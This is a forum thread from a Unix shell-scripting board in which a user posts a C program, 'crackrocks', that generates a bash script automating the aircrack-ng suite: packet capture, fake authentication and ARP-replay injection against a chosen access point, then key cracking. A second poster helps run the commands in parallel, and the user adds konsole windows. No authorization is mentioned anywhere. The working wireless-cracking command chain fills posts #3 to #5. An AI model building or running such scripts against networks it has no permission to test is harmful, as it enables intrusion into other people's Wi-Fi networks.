Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
google site



Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here.

Closed Thread
English Japanese Spanish French German Portuguese Italian Powered by Powered by Google
 
Thread Tools Search this Thread Display Modes
  #1  
Old 03-08-2009
Registered User
 

Join Date: Mar 2009
Posts: 5
Thanks: 0
Thanked 0 Times in 0 Posts
Question scripting n00b question, please help :)

Okay, so I'm a little familiar with C and Linux, but my shell scripting experience is limited to say the least. I know that you begin a shell script with this

Code:
#!/bin/bash

Basically, I've written a C program that's output writes to a shell script. What my problem is, is I would like this shell script to basically work like this

#!/bin/bash

1.preform first command in the starting shell

2. open a second shell and write second command to second shell, wait till second command finishes, then write 3rd command into this shell

3. open 3rd and final shell and execute the final command

I understand this may be a confusing question, but any help would be appreciated.

Last edited by beatzz; 03-08-2009 at 09:54 PM.. Reason: spelling
Sponsored Links
  #2  
Old 03-08-2009
rikxik's Avatar
Registered User
 

Join Date: Dec 2007
Posts: 250
Thanks: 0
Thanked 0 Times in 0 Posts
Based from what you mentioned, simply running the three commands in sequence should anyway do what you want. Care to post some code?
  #3  
Old 03-08-2009
Registered User
 

Join Date: Mar 2009
Posts: 5
Thanks: 0
Thanked 0 Times in 0 Posts
My program crackrocks

Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

Now, when I execute the script file it outputs, which is all correct, it sticks on the fist command, airodump, and it dosent show me the other 3 commands running or if they even start at all. So I would like each command to be in their own seperate window. I know its possible, anything is possible on computers. just gata figure it out
  #4  
Old 03-08-2009
rikxik's Avatar
Registered User
 

Join Date: Dec 2007
Posts: 250
Thanks: 0
Thanked 0 Times in 0 Posts
Change to below code and retry:

Code:
fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0 & \naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\nwait \n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);

This basically puts all the three commands in background and waits for all of them to get over. You can tweak this based on your exact requirements.

I suggest you first modify & test the script separately and when it works, incorporate into your c program.
  #5  
Old 03-09-2009
Registered User
 

Join Date: Mar 2009
Posts: 5
Thanks: 0
Thanked 0 Times in 0 Posts
Okay, so I edited my code to include your line of fprintf. Here it is. We are close to success, but not there yet.

Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nkonsole -e airodump-ng -c %d -d '%s' -w %s mon0 & \nkonsole -e aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aircrack-ng -z -b %s '%s'*.cap\nwait\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

Now, this code compiles just fine using gcc. However, there is a flaw. When I execute the shell script generated by this program, I receive this error.

Code:
beatzz@hax0r:~/hack$ ./crackrocks-out
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
beatzz@hax0r:~/hack$

It dose accomplish my goal of opening multiple windows, but it still doesn't work right either.
Sponsored Links
Closed Thread

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
N00b In Need! davesimm UNIX for Dummies Questions & Answers 1 09-20-2007 06:55 AM
N00b question on CPU % in top kskywr UNIX for Dummies Questions & Answers 3 01-09-2007 11:01 PM
Absolute n00b questions about Unix / Linux CodeHunter UNIX for Dummies Questions & Answers 2 02-24-2005 08:46 AM
OpenBSD N00b: HELP ME!!! AGGGH!! deckard UNIX for Dummies Questions & Answers 1 02-23-2005 04:24 PM
another scripting question kristy UNIX for Dummies Questions & Answers 1 05-07-2001 12:02 PM



All times are GMT -4. The time now is 07:36 AM.